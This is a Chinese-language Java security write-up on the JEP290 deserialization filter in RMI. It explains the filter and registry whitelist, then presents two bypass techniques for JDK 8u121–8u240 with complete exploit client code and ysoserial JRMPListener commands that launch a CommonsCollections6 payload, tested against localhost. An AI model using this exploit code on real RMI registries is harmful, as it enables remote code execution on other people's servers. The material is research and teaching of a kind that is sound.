JavaSec - JEP290
JEP290
JEP290的描述是Filter Incoming Serialization Data,即过滤传入的序列化数据
JEP290是jdk发布的一个安全机制,它会在RMI服务端准备反序列化客户端发来的序列化对象时进行过滤,主要的实现方法是通过在ObjectInputStream中新增的filterCheck方法
private void filterCheck(Class<?> clazz, int arrayLength)
throws InvalidClassException {
if (serialFilter != null) {
RuntimeException ex = null;
ObjectInputFilter.Status status;
try {
status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,
totalObjectRefs, depth, bin.getBytesRead()));
} catch (RuntimeException e) {
// Preventive interception of an exception to log
status = ObjectInputFilter.Status.REJECTED;
ex = e;
}
if (status == null ||
status == ObjectInputFilter.Status.REJECTED) {
// Debug logging of filter checks that fail
if (Logging.infoLogger != null) {
Logging.infoLogger.info(
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
status, clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead(),
Objects.toString(ex, "n/a"));
}
InvalidClassException ice = new InvalidClassException("filter status: " + status);
ice.initCause(ex);
throw ice;
} else {
// Trace logging for those that succeed
if (Logging.traceLogger != null) {
Logging.traceLogger.finer(
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
status, clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead(),
Objects.toString(ex, "n/a"));
}
}
}
}
我们会发现任何不允许的类都会触发返回REJECT 这个方法是如何被调用的呢?
我们触发一个Client,跟进到readObject0

这里根据序列化数据类型进入到不同方法进行处理,我这里返回了String,所以进入了TC_STRING,看看readClassDesc

在这里读取得到的类被进一步分类到不同函数,我们随便点进去一个,其都会调用到filterCheck

再往上找,readobject0是被RegistryImpl_Skel#dispatch所调用readObject之后被调用的

JEP290支持自定义类的白名单,对于RMI,其自带了黑名单,在sun.rmi.registry.RegistryImpl#registryFilter
private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {
if (registryFilter != null) {
ObjectInputFilter.Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
} }
//过滤对象深度
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
if (var2.isArray()) {
//对字节数判断
if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {
return Status.REJECTED;
}
do {
var2 = var2.getComponentType();
} while(var2.isArray());
}
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} } }}
可以看到对嵌套对象深度的判断,还有过滤的逻辑主要在最后的return,白名单主要包括:
-
String.class -
Number.class及其子类 -
Remote.class及其子类 -
Proxy.class及其子类 -
UnicastRef.class -
RMIClientSocketFactory.class -
RMIServerSocketFactory.class -
ActivationID.class -
UID.class
其实在readobject0的类一般经过filterCheck最后都会进入这个registryFilter进行过滤
关于自定义过滤器,可以实现ObjectInputFilter接口得到自定义过滤
RMI反序列化

当Client调用远程对象的方法时,服务端会先进入到UnicastServerRef.class

跟进到unmarshalCustomCallData,我们可以发现在这里,JEP290的filter得到加载

然后在oldDispatch中,调用到了RegistryImpl_Skel的dispatch,在这里分情况进行了反射调用,readobject0也在这里被调用,JEP290继而进行后面的过滤操作 反射调用了UnicastRef类的unmarshalValue这个方法,对接收到的数据和参数进行反序列化操作

总计一下,就是说如果我们能精心构造一个恶意对象发给Server(通过bind()方法),它就会触发到readObject 那么这就是RMI反序列化的大致流程,接下来讨论如何利用它
Bypass
Unicastref 来看看这个简单的例子
public class Client {
public static void main(String[] args) {
// TODO Auto-generated method stub
try {
Registry registry = LocateRegistry.getRegistry("localhost",2333);
Interface serv = (Interface) registry.lookup("service");
String data = "当你看到这句话时,意味着RMI运行成功";
System.out.println(serv.service(data));
}
catch (RemoteException | NotBoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
打点,看看封装好的Stub

ref是UnicastRef的对象,其中又包含了LiveRef和TCPEndPoint,后者包含了链接对象的地址和端口

当 RMI 客户端调用远程方法时,UnicastRef 负责:
-
获取远程对象的引用:
- 当客户端调用
registry.lookup("HelloService")时,返回的是HelloService远程对象的代理(Stub),Stub 内部持有一个UnicastRef。
- 当客户端调用
-
建立 Socket 连接:
UnicastRef解析远程对象的主机地址和****端口,然后建立一个 TCP 连接到服务器端。
-
序列化****请求并发送:
UnicastRef将方法调用参数序列化,发送到服务器端。
-
服务器端处理并返回结果:
- 服务器端
UnicastRemoteObject反序列化请求,调用真正的远程方法,并返回结果。
- 服务器端
-
客户端接收并反序列化结果:
UnicastRef解析服务器端返回的数据,并将方法返回值提供给客户端。
Bypass 8u121~8u230 打Registry
如何绕过JEP290对反序列化类的限制? 其实就是在白名单的类中找能被利用的readobject
先来看看抽象类RemoteObject,其继承了Remote和Serializable

在服务端接收到RemoteObject的对象之后自动调用其readObject方法,其readObject方法最后调用了ref的readExternal,这里的ref是UnicastRef的对象

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}

这里的read方法用来读取LiveRef的对象,得到远程对象的TCP信息 我们看向DGCClient.registerRefs(var2, Arrays.asList(var5));

它的lookup又新建了EndpointEntry的对象

它的构造方法

在this.dgc = (DGC)Util.createProxy(DGCImpl.class, new UnicastRef(var2), true);这里,Util.createProxy建立了又一个UnicastRef的对象发起连接,那么我们可以利用这点
那么很明确了,我们可以将恶意的JRMP服务地址和端口(JRMPClient)作为UnicastRef对象封装进RemoteObject,在注册中心时会尝试连接到JRMPListener,此时我们的Listener返回恶意序列化信息就不会经过JEP290,因为是由DGCImpl的dirty处理的,以此绕过了JEP290

复现: 使用ysoserial起JRMPLinster,在工程中添加CC依赖,我们尝试打CC链
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2334 CommonsCollections6 'kcalc'
Registry
public class RegistryCentry {
public static void main(String args[]) throws RemoteException {
try {
LocateRegistry.createRegistry(1099);
} catch (Exception e) {
e.printStackTrace();
}
System.out.printf("注册中心运行在1099");
while (true);
}
}
一般RMI注册中心默认在1099
Client
public class Client {
public static void main(String args[]) throws RemoteException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry();
ObjID id = new ObjID(new Random().nextInt()); //创建一个ObjID对象
TCPEndpoint tcpe = new TCPEndpoint("localhost", 2334); //封装一个TCP管道,向yso起得Listener
UnicastRef ref = new UnicastRef(new LiveRef(id, tcpe, false)); //将objid对象和tcp对象传入LiveRef的对象,之后传入UnicastRef的对象
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref); //获取了一个RemoteObject的一个对象
reg.bind("pwn", handler); //bind对象,触发攻击
}
}
准备好之后运行,弹计算器

客户端发送数据 --> ...
UnicastServerRef#dispatch -->
UnicastServerRef#oldDispatch -->
RegistryImpl_Skle#dispatch --> RemoteObject#readObject
StreamRemoteCall#releaseInputStream -->
ConnectionInputStream#registerRefs -->
DGCClient#registerRefs -->
DGCClient$EndpointEntry#registerRefs -->
DGCClient$EndpointEntry#makeDirtyCall -->
DGCImpl_Stub#dirty -->
UnicastRef#invoke --> (RemoteCall var1)
StreamRemoteCall#executeCall -->
ObjectInputSteam#readObject --> "pwn"
Bypass 8u231~8u240 打Registry
那么ban也ban在dirty方法,231之后dirty中多了setObjectInputfilter方法引入了JEP290 那么如何绕过呢?
这条链子通过一次反序列化触发
调用栈:
nicastRemoteObject#readObject –>
UnicastRemoteObject#reexport –>
UnicastRemoteObject#exportObject –> overload
UnicastRemoteObject#exportObject –>
UnicastServerRef#exportObject –> …
TCPTransport#listen –>
TcpEndpoint#newServerSocket –>
RMIServerSocketFactory#createServerSocket –> Dynamic Proxy(RemoteObjectInvocationHandler)
RemoteObjectInvocationHandler#invoke –>
RemoteObjectInvocationHandler#invokeMethod –>
UnicastRef#invoke –> (Remote var1, Method var2, Object[] var3, long var4)
StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> “pwn”
前面的省略,打点到TCPTransport的listen方法,跟进它的newServerSocket

其调用了creatServerScoket,构造函数传入的ssf被赋给了var1,这里的逻辑将它转换为了`RMIServerSocketFactory`类型

这里的ssf是我们创建的`RemoteObjectInvocation`的动态代理,当调用这里的creatServerSocket方法时会拉起RemoteObjectInvocation的invoke方法

所有if都不满足,进入invokeRemoteMethod方法

这里的ref可为UnicastRef,也就是说这里调用了UnicastRef的invoke方法,并且附带了参数

我们在这个ref中封装好TCPEncpoint对象,跟进到`this.ref.getChannel().newConnection();`方法,该方法最后跳转到了createConnection()

this.ep是封装好的TCPEndpoint,这段代码调用了它的newSocket方法发起了链接,最终实现绕过JEP290进行JRMP攻击
注册中心
package org.example;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import static java.rmi.registry.LocateRegistry.createRegistry;
public class RegistryCentry {
public static void main(String args[]) throws RemoteException {
try {
LocateRegistry.createRegistry(1099);
} catch (Exception e) {
e.printStackTrace();
}
System.out.printf("注册中心运行在1099");
while (true);
}
}
恶意用户端
package org.example;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.server.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.transport.LiveRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.util.Random;
public class RMIServer {
public static void main(String[] args) {
try {
// Create a malicious payload
UnicastRemoteObject payload = createPayload();
// Get the RMI registry on the default port (1099)
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
// Bind the payload to the registry using reflection
bindReflection("pwn", payload, registry);
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* Creates a malicious UnicastRemoteObject payload.
*
* @return A UnicastRemoteObject instance with a custom RMIServerSocketFactory.
* @throws Exception If any reflection or instantiation error occurs.
*/
private static UnicastRemoteObject createPayload() throws Exception {
// Create a random ObjID for the LiveRef
ObjID objId = new ObjID(new Random().nextInt());
// Create a TCPEndpoint pointing to localhost:9999
TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1", 9999);
// Create a LiveRef with the ObjID and TCPEndpoint
LiveRef liveRef = new LiveRef(objId, tcpEndpoint, false);
// Create an UnicastRef with the LiveRef
UnicastRef unicastRef = new UnicastRef(liveRef);
// Enable saving dynamically generated proxy classes
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
// Create a RemoteObjectInvocationHandler with the UnicastRef
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
// Create a dynamic proxy for RMIServerSocketFactory and Remote interfaces
RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
handler
);
// Use reflection to instantiate a UnicastRemoteObject
Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
// Use reflection to set the ssf (RMIServerSocketFactory) field
Field ssfField = UnicastRemoteObject.class.getDeclaredField("ssf");
ssfField.setAccessible(true);
ssfField.set(unicastRemoteObject, factory);
return unicastRemoteObject;
}
/**
* Binds an object to the RMI registry using reflection.
*
* @param name The name to bind the object to.
* @param obj The object to bind.
* @param registry The RMI registry.
* @throws Exception If any reflection or invocation error occurs.
*/
private static void bindReflection(String name, Object obj, Registry registry) throws Exception {
// Use reflection to get the 'ref' field from RemoteObject
Field refField = RemoteObject.class.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef) refField.get(registry);
// Use reflection to get the 'operations' field from RegistryImpl_Stub
Field operationsField = RegistryImpl_Stub.class.getDeclaredField("operations");
operationsField.setAccessible(true);
Operation[] operations = (Operation[]) operationsField.get(registry);
// Create a new RemoteCall with the registry and operations
RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
// Get the ObjectOutput stream from the RemoteCall
ObjectOutput outputStream = remoteCall.getOutputStream();
// Use reflection to disable object replacement in the ObjectOutputStream
Field enableReplaceField = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplaceField.setAccessible(true);
enableReplaceField.setBoolean(outputStream, false);
// Write the object name and object to the output stream
outputStream.writeObject(name);
outputStream.writeObject(obj);
// Invoke the RemoteCall and mark it as done
ref.invoke(remoteCall);
ref.done(remoteCall);
}
}
JRMPLinstener
C:\Progra~1\Java\jdk1.8.0_202\bin\java.exe -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 'calc'
如果要打CC链,别忘了加依赖
Links
https://www.anquanke.com/post/id/259059 https://mp.weixin.qq.com/s?__biz=MzU5MjEzOTM3NA==&mid=2247486999&idx=1&sn=996a621f3144143e7136a1f90fdb228a&chksm=ff8f5cf867d42f7d8f8c06c53e1997228996f736fde3f68433e84fcf7b246c91f2298e0d019b#rd
https://www.anquanke.com/post/id/200860 https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/JEP290%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/index.md